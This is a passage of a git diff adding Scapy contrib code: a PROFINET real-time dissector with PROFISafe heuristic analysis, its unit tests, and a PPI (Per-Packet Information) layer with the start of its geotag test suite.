+        Packet.__init__(self, _pkt=_pkt, post_transform=post_transform,
+                        _internal=_internal, _underlayer=_underlayer, **fields)
+
+    def copy(self):
+        pkt = Packet.copy(self)
+        pkt._config = self._config
+        return pkt
+
+    def clone_with(self, *args, **kargs):
+        pkt = Packet.clone_with(self, *args, **kargs)
+        pkt._config = self._config
+        return pkt
+
+    def length(self):
+        """Get the length of the raw data"""
+        # Manage the length of the packet if a length is provided
+        return  self._config["length"]
+
+# Make sure an IOPS follows a data
+bind_layers(PNIORealTimeRawData, PNIORealTimeIOxS)
+
+
+
+###############################
+## PROFINET Real-Time Fields ##
+###############################
+
+class LowerLayerBoundPacketListField(PacketListField):
+    """PacketList which binds each underlayer of packets to the current pkt"""
+    def m2i(self, pkt, m):
+        return self.cls(m, _underlayer=pkt)
+
+class NotionalLenField(Field):
+    """A len fields which isn't present in the machine representation, but is
+    computed from a given lambda"""
+    __slots__ = ["length_from", "count_from"]
+    def __init__(self, name, default, length_from=None, count_from=None):
+        Field.__init__(self, name, default)
+        self.length_from = length_from
+        self.count_from = count_from
+
+    def addfield(self, pkt, s, val):
+        return s   # Isn't present in the machine packet
+
+    def getfield(self, pkt, s):
+        val = None
+        if self.length_from is not None:
+            val = self.length_from(pkt, s)
+        elif self.count_from is not None:
+            val = self.count_from(pkt, s)
+        return s, val
+
+
+###############################
+## PNIORealTime Configuration #
+###############################
+
+# conf.contribs["PNIO_RTC"] is a dict which contains data layout for each Ethernet
+# communications. It must be formatted as such:
+# {(Ether.src, Ether.dst): [(start, type, config), ...]}
+# start: index of a data field from the END of the data buffer (-1, -2, ...)
+# type: class to be instanciated to represent these data
+# config: a config dict, given to the type class constructor
+conf.contribs["PNIO_RTC"] = {}
+
+def _get_ethernet(pkt):
+    """Find the Ethernet packet of underlayer or None"""
+    ether = pkt
+    while ether is not None and not isinstance(ether, Ether):
+        ether = ether.underlayer
+    return ether
+
+def pnio_update_config(config):
+    """Update the PNIO RTC config"""
+    conf.contribs["PNIO_RTC"].update(config)
+
+def pnio_get_config(pkt):
+    """Retrieve the config for a given communication"""
+    # get the config based on the tuple (Ether.src, Ether.dst)
+    ether = _get_ethernet(pkt)
+    config = None
+    if ether is not None and (ether.src, ether.dst) in conf.contribs["PNIO_RTC"]:
+        config = conf.contribs["PNIO_RTC"][(ether.src, ether.dst)]
+
+    return config
+
+
+###############################
+## PROFINET Real-Time Packet ##
+###############################
+
+def _pnio_rtc_guess_payload_class(_pkt, _underlayer=None, *args, **kargs):
+    """A dispatcher for the packet list field which manage the configuration
+    to fin dthe appropriate class"""
+    config = pnio_get_config(_underlayer)
+
+    if isinstance(config, list):
+        # If we have a valid config, it's a list which describe each data
+        # packets the rest being IOCS
+        cur_index = -len(_pkt)
+        for index, cls, params in config:
+            if cur_index == index:
+                return cls(_pkt, config=params, *args, **kargs)
+
+        # Not a data => IOCS packet
+        return PNIORealTimeIOxS(_pkt, *args, **kargs)
+    else:
+        # No config => Raw data which dissect the whole _pkt
+        return PNIORealTimeRawData(_pkt,
+                                   config={"length": len(_pkt)},
+                                   *args, **kargs
+                                  )
+
+
+_PNIO_DS_FLAGS = [
+    "primary",
+    "redundancy",
+    "validData",
+    "reserved_1",
+    "run",
+    "no_problem",
+    "reserved_2",
+    "ignore",
+    ]
+class PNIORealTime(Packet):
+    """PROFINET cyclic real-time"""
+    name = "PROFINET Real-Time"
+    fields_desc = [
+        NotionalLenField("len", None, length_from=lambda p, s: len(s)),
+        NotionalLenField("dataLen", None, length_from=lambda p, s: len(s[:-4].rstrip(b"\0"))),
+        LowerLayerBoundPacketListField("data", [], _pnio_rtc_guess_payload_class, length_from=lambda p: p.dataLen),
+        StrFixedLenField("padding", "", length_from=lambda p: p[PNIORealTime].padding_length()),
+        ShortField("cycleCounter", 0),
+        FlagsField("dataStatus", 0x35, 8, _PNIO_DS_FLAGS),
+        ByteField("transferStatus", 0)
+        ]
+    overload_fields = {
+        ProfinetIO: {"frameID": 0x8000},   # RT_CLASS_1
+        }
+
+    def padding_length(self):
+        """Compute the length of the padding need for the ethernet frame"""
+        fld, val = self.getfield_and_val("data")
+
+        # use the len field if available to define the padding length, eg for
+        # dissected packets
+        pkt_len = self.getfieldval("len")
+        if pkt_len is not None:
+            return max(0, pkt_len - len(fld.addfield(self, b"", val)) - 4)
+
+        if isinstance(self.underlayer, ProfinetIO) and \
+                isinstance(self.underlayer.underlayer, UDP):
+            return max(0, 12 - len(fld.addfield(self, b"", val)))
+        else:
+            return max(0, 40 - len(fld.addfield(self, b"", val)))
+
+    @staticmethod
+    def analyse_data(packets):
+        """Analyse the data to find heuristical properties and determine
+        location and type of data"""
+        loc = PNIORealTime.find_data(packets)
+        loc = PNIORealTime.analyse_profisafe(packets, loc)
+        pnio_update_config(loc)
+        return loc
+
+    @staticmethod
+    def find_data(packets):
+        """Analyse a packet list to extract data offsets from packets data."""
+        # a dictionary to count data offsets (ie != 0x80)
+        # It's formatted: {(src, dst): (total, [count for offset in len])}
+        heuristic = {}
+
+        # Counts possible data locations
+        # 0x80 are mainly IOxS and trailling 0x00s are just padding
+        for pkt in packets:
+            if PNIORealTime in pkt:
+                pdu = bytes(pkt[PNIORealTime])[:-4].rstrip(b"\0")
+
+                if (pkt.src, pkt.dst) not in heuristic:
+                    heuristic[(pkt.src, pkt.dst)] = (0, [])
+
+                total, counts = heuristic[(pkt.src, pkt.dst)]
+
+                if len(counts) < len(pdu):
+                    counts.extend([0 for _ in range(len(pdu) - len(counts))])
+
+                for i in range(len(pdu)):
+                    if orb(pdu[i]) != 0x80:
+                        counts[i] += 1
+
+                comm = (pkt.src, pkt.dst)
+                heuristic[comm] = (total + 1, counts)
+
+        # Determine data locations
+        locations = {}
+        for comm in heuristic:
+            total, counts = heuristic[comm]
+            length = len(counts)
+            loc = locations[comm] = []
+            start = None
+            for i in range(length):
+                if counts[i] > total // 2:   # Data if more than half is != 0x80
+                    if start is None:
+                        start = i
+                else:
+                    if start is not None:
+                        loc.append((
+                            start - length,
+                            PNIORealTimeRawData,
+                            {"length": i - start}
+                            ))
+                        start = None
+
+        return locations
+
+    @staticmethod
+    def analyse_profisafe(packets, locations=None):
+        """Analyse a packet list to find possible PROFISafe profils.
+
+        It's based on an heuristical analysis of each payload to try to find
+        CRC and control/status byte.
+
+        locations: possible data locations. If not provided, analyse_pn_rt will
+        be called beforehand. If not given, it calls in the same time
+        analyse_data which update the configuration of the data field"""
+        # get data locations and entropy of bytes
+        if not locations:
+            locations = PNIORealTime.find_data(packets)
+        entropies = PNIORealTime.data_entropy(packets, locations)
+
+        # Try to find at least 3 high entropy successive bytes (the CRC)
+        for comm in entropies:
+            entropy = dict(entropies[comm])  # Convert tuples to key => value
+
+            for i in range(len(locations[comm])):
+                # update each location with its value after profisafe analysis
+                locations[comm][i] = \
+                        PNIORealTime.analyse_one_profisafe_location(
+                            locations[comm][i], entropy
+                        )
+
+        return locations
+
+    @staticmethod
+    def analyse_one_profisafe_location(location, entropy):
+        """Analyse one PNIO RTC data location to find if its a PROFISafe
+
+        :param location: location to analyse, a tuple (start, type, config)
+        :param entropy: the entropy of each byte of the packet data
+        :returns: the configuration associated with the data
+        """
+        start, klass, conf = location
+        if conf["length"] >= 4:     # Minimal PROFISafe length
+            succ_count = 0
+            for j in range(start, start + conf["length"]):
+                # Limit for a CRC is set to 6 bit of entropy min
+                if j in entropy and entropy[j] >= 6:
+                    succ_count += 1
+                else:
+                    succ_count = 0
+            # PROFISafe profiles must end with at least 3 bytes of high entropy
+            if succ_count >= 3: # Possible profisafe CRC
+                return (
+                    start,
+                    Profisafe,
+                    {"CRC": succ_count, "length": conf["length"]}
+                    )
+        # Not a PROFISafe profile
+        return (start, klass, conf)
+
+    @staticmethod
+    def data_entropy(packets, locations=None):
+        """Analyse a packet list to find the entropy of each data byte
+
+        locations: possible data locations. If not provided, analyse_pn_rt will
+        be called beforehand. If not given, it calls in the same time
+        analyse_data which update the configuration of the data field"""
+        if not locations:
+            locations = PNIORealTime.find_data(packets)
+
+        # Retrieve the entropy of each data byte, for each communication
+        entropies = {}
+        for comm in locations:
+            if len(locations[comm]) > 0: # Doesn't append empty data
+                entropies[comm] = []
+                comm_packets = []
+
+                # fetch all packets from the communication
+                for pkt in packets:
+                    if PNIORealTime in pkt and (pkt.src, pkt.dst) == comm:
+                        comm_packets.append(
+                            bytes(pkt[PNIORealTime])[:-4].rstrip(b"\0")
+                            )
+
+                # Get the entropy
+                for start, dummy, conf in locations[comm]:
+                    for i in range(start, start + conf["length"]):
+                        entropies[comm].append(
+                            (i, entropy_of_byte(comm_packets, i))
+                            )
+
+        return entropies
+
+    @staticmethod
+    def draw_entropy(packets, locations=None):
+        """Plot the entropy of each data byte of PN RT communication"""
+        import matplotlib.pyplot as plt
+        import matplotlib.cm as cm
+        entropies = PNIORealTime.data_entropy(packets, locations)
+
+        rows = len(entropies)
+        cur_row = 1
+        for comm in entropies:
+            index = []
+            vals = []
+            for i, ent in entropies[comm]:
+                index.append(i)
+                vals.append(ent)
+
+            # Offsets the indexes to get the index from the beginning
+            offset = -min(index)
+            index = [i + offset for i in index]
+
+            plt.subplot(rows, 1, cur_row)
+            plt.bar(index, vals, 0.8, color="r")
+            plt.xticks([i + 0.4 for i in index], index)
+            plt.title("Entropy from %s to %s" % comm)
+            cur_row += 1
+            plt.ylabel("Shannon Entropy")
+
+        plt.xlabel("Byte offset")   # x label only on the last row
+        plt.legend()
+
+        plt.tight_layout()
+        plt.show()
+
+def entropy_of_byte(packets, position):
+    """Compute the entropy of a byte at a given offset"""
+    counter = [0 for _ in range(256)]
+
+    # Count each byte a appearance
+    for pkt in packets:
+        if -position <= len(pkt):     # position must be a negative index
+            counter[orb(pkt[position])] += 1
+
+    # Compute the Shannon entropy
+    entropy = 0
+    length = len(packets)
+    for count in counter:
+        if count > 0:
+            ratio = float(count) / length
+            entropy -= ratio * math.log(ratio, 2)
+
+    return entropy
+
+###############
+## PROFISafe ##
+###############
+
+class XVarBytesField(XByteField):
+    """Variable length bytes field, from 0 to 8 bytes"""
+    __slots__ = ["length_from"]
+    def __init__(self, name, default, length=None, length_from=None):
+        self.length_from = length_from
+        if length:
+            self.length_from = lambda p, l=length: l
+        Field.__init__(self, name, default, "!Q")
+
+    def addfield(self, pkt, s, val):
+        length = self.length_from(pkt)
+        return s + struct.pack(self.fmt, self.i2m(pkt, val))[8-length:]
+
+    def getfield(self, pkt, s):
+        length = self.length_from(pkt)
+        val = struct.unpack(self.fmt, b"\x00"*(8 - length) + s[:length])[0]
+        return  s[length:], self.m2i(pkt, val)
+
+
+class Profisafe(PNIORealTimeRawData):
+    """PROFISafe profil to be encapsulated inside the PNRT.data list.
+
+    It's a configurable packet whose config includes a fix length, and a CRC
+    length. The config parameter must then be a dict {"length": X, "CRC": Y}.
+    """
+    name = "PROFISafe"
+    fields_desc = [
+        StrFixedLenField("load", "", length_from=lambda p: p[Profisafe].data_length()),
+        XByteField("Control_Status", 0),
+        XVarBytesField("CRC", 0, length_from=lambda p: p[Profisafe].crc_length())
+        ]
+    def data_length(self):
+        """Return the length of the data"""
+        ret = self.length() - self.crc_length() - 1
+        return  ret
+
+    def crc_length(self):
+        """Return the length of the crc"""
+        return self._config["CRC"]
+
diff --git a/scapy/contrib/pnio_rtc.uts b/scapy/contrib/pnio_rtc.uts
new file mode 100644
index 0000000..43b4b18
--- /dev/null
+++ b/scapy/contrib/pnio_rtc.uts
@@ -0,0 +1,125 @@
+% PNIO RTC layer test campaign
+
++ Syntax check
+= Import the PNIO RTC layer
+from scapy.contrib.pnio import *
+from scapy.contrib.pnio_rtc import *
+
+
++ Check PNIORealTimeIOxS
+
+= PNIORealTimeIOxS default values
+raw(PNIORealTimeIOxS()) == b'\x80'
+
+= Check no payload is dissected (only padding)
+* In order for the PNIORealTime to dissect correctly all the data buffer, data field must strictly dissect what they know as being of themselves
+p = PNIORealTimeIOxS(b'\x40\x01\x02')
+p == PNIORealTimeIOxS(dataState='bad', instance='device') / conf.padding_layer(b'\x01\x02')
+
+
++ Check PNIORealTimeRawData
+
+= PNIORealTimeRawData default values
+raw(PNIORealTimeRawData(config={'length': 5})) == b'\x00\x00\x00\x00\x00'
+
+= PNIORealTimeRawData must always be the same configured length
+raw(PNIORealTimeRawData(load='ABC', config={'length': 5})) == b'ABC\x00\x00'
+
+= PNIORealTimeRawData may be truncated
+raw(PNIORealTimeRawData(load='ABCDEF', config={'length': 5})) == b'ABCDE'
+
+= Check that the dissected payload is an PNIORealTimeIOxS (IOPS)
+p = PNIORealTimeRawData(b'ABCDE\x80\x01\x02', config={'length': 5})
+p == PNIORealTimeRawData(load=b'ABCDE', config={'length': 5}) / PNIORealTimeIOxS() / conf.padding_layer(b'\x01\x02')
+
+= PNIORealTimeRawData is capable of dissected uncomplete packets
+p = PNIORealTimeRawData('ABC', config={'length': 5})
+p == PNIORealTimeRawData(load=b'ABC', config={'length': 5})
+
+
++ Check Profisafe
+
+= Profisafe default values
+raw(Profisafe(config={'length': 7, 'CRC': 3})) == b'\0\0\0\0\0\0\0'
+
+= Profisafe must always be the same configured length
+raw(Profisafe(load=b'AB', config={'length': 7, 'CRC': 3})) == b'AB\0\0\0\0\0'
+
+= Profisafe load may be truncated
+raw(Profisafe(load=b'ABCDEF', config={'length': 7, 'CRC': 3})) == b'ABC\0\0\0\0'
+
+= Check that the dissected payload is an PNIORealTimeIOxS (IOPS)
+p = Profisafe(b'ABC\x20\x12\x34\x56\x80\x01\x02', config={'length': 7, 'CRC': 3})
+p == Profisafe(load=b'ABC', Control_Status=0x20, CRC=0x123456, config={'length': 7, 'CRC': 3}) / PNIORealTimeIOxS() / conf.padding_layer(b'\x01\x02')
+
+= Profisafe with a CRC-32
+raw(Profisafe(load=b'ABC', Control_Status=0x33, CRC=0x12345678, config={'length': 8, 'CRC': 4})) == b'ABC\x33\x12\x34\x56\x78'
+
+= Profisafe is capable of dissected uncomplete packets
+p = Profisafe('AB', config={'length': 7, 'CRC': 3})
+p == Profisafe(load=b'AB', Control_Status=0, CRC=0)
+
+
++ Check PNIORealTime layer
+
+= PNIORealTime default values
+raw(PNIORealTime()) == b'\0' * 40 + b'\0\0\x35\0'
+
+= PNIORealTime default values under an UDP packet
+raw(UDP(sport=0x1234) / ProfinetIO(frameID=0x8002) / PNIORealTime()) == hex_bytes('12348892001a00008002') + b'\0' * 12 + b'\0\0\x35\0'
+
+= PNIORealTime simple packet
+* a simple data packet with a raw profinet data and its IOPS, an IOCS and a Profisafe data and its IOPS. 15B data length, 1B padding (20 - 15 -4)
+raw(PNIORealTime(len=20, dataLen=15, cycleCounter=0x1234, dataStatus='redundancy+validData+no_problem', transferStatus=3,
+  data=[
+      PNIORealTimeRawData(load=b'\x01\x02\x03\x04', config={'length': 5}) / PNIORealTimeIOxS(),
+      PNIORealTimeIOxS(dataState='bad'),
+      Profisafe(load=b'\x05\x06', Control_Status=0x20, CRC=0x12345678, config={'length': 7, 'CRC': 4}) / PNIORealTimeIOxS()
+      ]
+  )) == hex_bytes('0102030400800005062012345678800012342603')
+
+= PNIORealTime dissects to PNIORealTimeRawData when no config is available
+p = PNIORealTime(hex_bytes('0102030400800005062012345678800012342603'))
+p == PNIORealTime(len=20, dataLen=15, cycleCounter=0x1234, dataStatus='redundancy+validData+no_problem', transferStatus=3, padding=b'\0',
+  data=[
+      PNIORealTimeRawData(load=hex_bytes('010203040080000506201234567880'))
+      ]
+  )
+
+= PNIORealTime dissection is configurable
+* Usually, the configuration is not given manually, but using PNIORealTime.analyse_data() on a list of Packets which analyses and updates the configuration
+pnio_update_config({
+  ('06:07:08:09:0a:0b', '00:01:02:03:04:05'): [
+    (-15, PNIORealTimeRawData, {'length': 5}),
+    (-8, Profisafe, {'length': 7, 'CRC': 4}),
+    ]
+  })
+p = Ether(hex_bytes('000102030405060708090a0b889280020102030400800005062012345678800012342603'))
+p == Ether(dst='00:01:02:03:04:05', src='06:07:08:09:0a:0b') / ProfinetIO(frameID=0x8002) / PNIORealTime(
+  len=20, dataLen=15, cycleCounter=0x1234, dataStatus='redundancy+validData+no_problem', transferStatus=3, padding=b'\0',
+  data=[
+      PNIORealTimeRawData(load=b'\x01\x02\x03\x04\0', config={'length': 5}) / PNIORealTimeIOxS(),
+      PNIORealTimeIOxS(dataState='bad'),
+      Profisafe(load=b'\x05\x06', Control_Status=0x20, CRC=0x12345678, config={'length': 7, 'CRC': 4}) / PNIORealTimeIOxS()
+      ]
+  )
+
+= PNIORealTime - Analyse data
+# Possible thanks to https://github.com/ITI/ICS-Security-Tools/blob/master/pcaps/profinet/profinet.pcap
+
+bind_layers(UDP, ProfinetIO, dport=0x8894)
+bind_layers(UDP, ProfinetIO, sport=0x8894)
+
+packets = [Ether(hex_bytes('0090274ee3fc000991442017080045000128000c00004011648f0a0a00810a0a00968894061e011444c604022800100000000000a0de976cd111827100010003015a0100a0de976cd111827100a02442df7ddbabbaec1d005443b2500b01630abafd0100000001000000000000000500ffffffffbc000000000000000000a80000004080000000000000a80000008009003c0100000a0000000000000000000000000000000000000000000000010000f840000000680000000000000000000000000000000000000000000000000030002c0100000100000000000200000000000100020001000000010003ffff010a0001ffff814000010001ffff814000310018010000010000000000010001ffff814000010001ffff814000320018010000010000000000010000000000010001000100000001')),
+           Ether(hex_bytes('0009914420170090274ee3fc0800450000c0b28800008011727a0a0a00960a0a0081061e889400ac689504000800100000000000a0de976cd111827100010003015a0100a0de976cd111827100a02442df7ddbabbaec1d005443b2500b01630abafd0000000001000000000000000500ffffffff54000000000040800000400000004080000000000000400000000009003c0100000a0000000000000000000000000000000000000000000000010000f84000008000000000000000000000000000000000000000000000000000'))]
+           
+analysed_data = PNIORealTime.analyse_data(packets)
+assert len(analysed_data) == 2
+x = analysed_data[('00:09:91:44:20:17', '00:90:27:4e:e3:fc')]
+assert len(x) == 2
+assert x[0][1] == PNIORealTimeRawData
+assert x[0][0] == -262
+assert x[0][2]["length"] == 87
+
+ProfinetIO._overload_fields[UDP].pop("sport")
+ProfinetIO._overload_fields[UDP]["dport"] = 0x8892
\ No newline at end of file
diff --git a/scapy/contrib/ppi.py b/scapy/contrib/ppi.py
new file mode 100644
index 0000000..0d1add5
--- /dev/null
+++ b/scapy/contrib/ppi.py
@@ -0,0 +1,100 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# author: <jellch@harris.com>
+
+# scapy.contrib.description = PPI
+# scapy.contrib.status = loads
+
+
+"""
+PPI (Per-Packet Information).
+"""
+import logging
+import struct
+
+
+from scapy.config import conf
+from scapy.data import DLT_EN10MB, DLT_IEEE802_11, DLT_PPI
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.l2 import Ether
+from scapy.layers.dot11 import Dot11
+
+# Dictionary to map the TLV type to the class name of a sub-packet
+_ppi_types = {}
+def addPPIType(id, value):
+    _ppi_types[id] = value
+def getPPIType(id, default="default"):
+    return _ppi_types.get(id, _ppi_types.get(default, None))
+
+
+# Default PPI Field Header
+class PPIGenericFldHdr(Packet):
+    name = "PPI Field Header"
+    fields_desc = [ LEShortField('pfh_type', 0),
+                    FieldLenField('pfh_length', None, length_of="value", fmt='<H', adjust=lambda p,x:x+4),
+                    StrLenField("value", "", length_from=lambda p:p.pfh_length) ]
+
+    def extract_padding(self, p):
+        return b"",p
+
+def _PPIGuessPayloadClass(p, **kargs):
+    """ This function tells the PacketListField how it should extract the
+        TLVs from the payload.  We pass cls only the length string
+        pfh_len says it needs.  If a payload is returned, that means
+        part of the sting was unused.  This converts to a Raw layer, and
+        the remainder of p is added as Raw's payload.  If there is no
+        payload, the remainder of p is added as out's payload.
+    """
+    if len(p) >= 4:
+        t,pfh_len = struct.unpack("<HH", p[:4])
+        # Find out if the value t is in the dict _ppi_types.
+        # If not, return the default TLV class
+        cls = getPPIType(t, "default")
+        pfh_len += 4
+        out = cls(p[:pfh_len], **kargs)
+        if (out.payload):
+            out.payload = conf.raw_layer(out.payload.load)
+            out.payload.underlayer = out
+            if (len(p) > pfh_len):
+                out.payload.payload = conf.padding_layer(p[pfh_len:])
+                out.payload.payload.underlayer = out.payload
+        elif (len(p) > pfh_len):
+            out.payload = conf.padding_layer(p[pfh_len:])
+            out.payload.underlayer = out
+    else:
+        out = conf.raw_layer(p, **kargs)
+    return out
+
+
+
+
+class PPI(Packet):
+    name = "PPI Packet Header"
+    fields_desc = [ ByteField('pph_version', 0),
+                    ByteField('pph_flags', 0),
+                    FieldLenField('pph_len', None, length_of="PPIFieldHeaders", fmt="<H", adjust=lambda p,x:x+8 ),
+                    LEIntField('dlt', None),
+                    PacketListField("PPIFieldHeaders", [],  _PPIGuessPayloadClass, length_from=lambda p:p.pph_len-8,) ]
+    def guess_payload_class(self,payload):
+        return conf.l2types.get(self.dlt, Packet.guess_payload_class(self, payload))
+
+#Register PPI
+addPPIType("default", PPIGenericFldHdr)
+
+conf.l2types.register(DLT_PPI, PPI)
+
+bind_layers(PPI, Dot11, dlt=DLT_IEEE802_11)
+bind_layers(PPI, Ether, dlt=DLT_EN10MB)
diff --git a/scapy/contrib/ppi.uts b/scapy/contrib/ppi.uts
new file mode 100644
index 0000000..5a84456
--- /dev/null
+++ b/scapy/contrib/ppi.uts
@@ -0,0 +1,252 @@
+% PPI/PPI_CACE/PPI_GEOTAG Global Campaign
+# Test suite extracted from PPI_GEOLOCATION_SDK.zip\PPI_GEOLOCATION_SDK\pcaps\reference-pcaps\ppi_geo_examples.py
+
++ PPI Tests
+
+= Define test suite
+
+from scapy.contrib.ppi import *
+from scapy.contrib.ppi_cace import *
+from scapy.contrib.ppi_geotag import *
+
+def Pkt_10_1():
+    """GPS Only"""
+    pkt = PPI(PPIFieldHeaders=GPS(Latitude=40.787743, Longitude=-73.971210))/\
+            Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:01")/\
+            Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.1")
+    return PPI(raw(pkt))
+
+def Pkt_10_2():
+    """GPS + VECTOR + ANTENNA + RADIOTAP""" #No radiotap support yet...
+    pkt = PPI(PPIFieldHeaders=[
+            GPS(Latitude=40.787743, Longitude=-73.971210),
+            Vector(VectorFlags=0x02, VectorChars="Antenna", Pitch=90.0, Roll=0.0, Heading=0.0, DescString="Antenna-1 orientation"),
+            Antenna(AntennaFlags=0x02,Gain=8,HorizBw=360.0,ModelName="8dBi-MagMountOmni"),
+            Dot11Common(Antsignal=-80,Antnoise=-110,Ch_Freq=2437)])/\
+            Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:02")/\
+            Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.2")
+    return PPI(raw(pkt))
+
+def Pkt_10_3():
+    """Direction of travel + one directional antenna, with Pitch in ForwardFrame"""
+    pkt = PPI(PPIFieldHeaders=[
+                GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210),
+                Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0,  Heading=22.5, DescString="VehicleVec"),
+                Sensor(SensorType="Velocity", Val_T=20.0),
+                Vector(                  VectorChars=0x01,              Heading=90.0, DescString="AntennaVec"),
+                Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9"),
+                Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\
+                Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:03")/\
+                Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.3")
+    return PPI(raw(pkt)) #Cause the fields to be built
+
+def Pkt_10_4():
+    """Two static directional antennas with offsets"""
+    pkt = PPI(PPIFieldHeaders=[
+                GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210, Altitude_g=2.00),
+                Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0, Heading=22.5),
+                Sensor(SensorType="Velocity", Val_T=8.5),
+                Sensor(SensorType="Acceleration", Val_T=0.5),
+                Vector(VectorFlags=0x00, VectorChars=0x01, Heading=90.0, Off_X=0.75, Off_Y=0.6, Off_Z=-0.2, DescString="Antenna1Vec"),
+                Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9",DescString="RightAntenna"),
+                Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437),
+                Vector(VectorFlags=0x00, VectorChars=0x01, Heading=270.0, Off_X=-0.75, Off_Y=0.6, Off_Z=-0.2, DescString="Antenna2Vec"),
+                Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9",DescString="LeftAntenna"),
+                Dot11Common(Antsignal=-95,Antnoise=-110,Ch_Freq=2437)])/\
+                Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:04")/\
+                Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.4")
+    return PPI(raw(pkt)) #Cause the fields to be built
+
+def Pkt_10_5():
+    """Similar to 10_3, but with a electronically steerable antenna"""
+    pkt = PPI(PPIFieldHeaders=[
+                GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210),
+                Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=00.0, Heading=22.5, DescString="VehicleVec"),
+                Vector(                  VectorChars=0x01,             Heading=120.0, DescString="AntennaVec"),
+                Antenna(AntennaFlags=0x010002,Gain=12,HorizBw=60,BeamID=0xF1A1, ModelName="ElectronicallySteerableExAntenna", AppId=0x04030201),
+                Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\
+                Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:05")/\
+                Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.5")
+    return PPI(raw(pkt)) #Cause the fields to be built
+
+def Pkt_10_6():
+    """Mechanically steerable antenna. Non-intuitive forward"""
+    pkt = PPI(PPIFieldHeaders=[
+               GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210),
+                Vector(VectorFlags=0x02, VectorChars=0x06,  Heading=22.5, DescString="VehicleVec"),
+                Vector(VectorFlags=0x03, VectorChars=0x00,  Heading=202.5, DescString="ForwardVec"),
+                Vector(VectorFlags=0x00, VectorChars=0x01,  Heading=75.0, DescString="AntennaVec"),
+                Antenna(AntennaFlags=0x020002,Gain=12,HorizBw=60,ModelName="MechanicallySteerableAnt"),
+                Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\
+                Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:06")/\
+                Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.6")
+    return PPI(raw(pkt)) #Cause the fields to be built
+
+def Pkt_10_7():
+    """Drifting boat."""
+    pkt = PPI(PPIFieldHeaders=[
+                GPS(GPSFlags=0x02, Latitude= 41.876154,  Longitude=-87.608602),
+                Vector(VectorFlags=0x03, VectorChars=0x04,  Heading=50.0, DescString="VehicleVec"),
+                Vector(VectorFlags=0x00, VectorChars=0x02,  Heading=230.0, DescString="DOT-Vec"),
+                Vector(VectorFlags=0x00, VectorChars=0x01,  Heading=90.0, DescString="AntennaVec"),
+                Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9"),
+                Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\
+                Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:07")/\
+                Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.7")
+    return PPI(raw(pkt)) #Cause the fields to be built
+
+def Pkt_10_8():
+    """Time of arrival analysis"""
+    pkt = PPI(PPIFieldHeaders=[
+                GPS(GPSFlags="Manual Input", Latitude=41.861885, Longitude=-87.616926, GPSTime=1288720719, FractionalTime=0.20),
+                Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-1 orientation"),
+                Sensor(SensorType="TDOA_Clock", ScaleFactor=-9, Val_T=60.8754, AppId=0x04030201),
+                Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 1"),
+                Dot11Common(Antsignal=-60),
+                GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20),
+                Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"),
+                Sensor(SensorType="TDOA_Clock", ScaleFactor=-9, Val_T=178.124, AppId=0x04030201),
+                Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"),
+                Dot11Common(Antsignal=-80)])/\
+                Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:08")/\
+                Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.8")
+    return PPI(raw(pkt)) #Cause the fields to be built
+
+def Pkt_10_9():
+    """Time of arrival analysis(AOA)"""
+    pkt = PPI(PPIFieldHeaders=[
+                GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20),
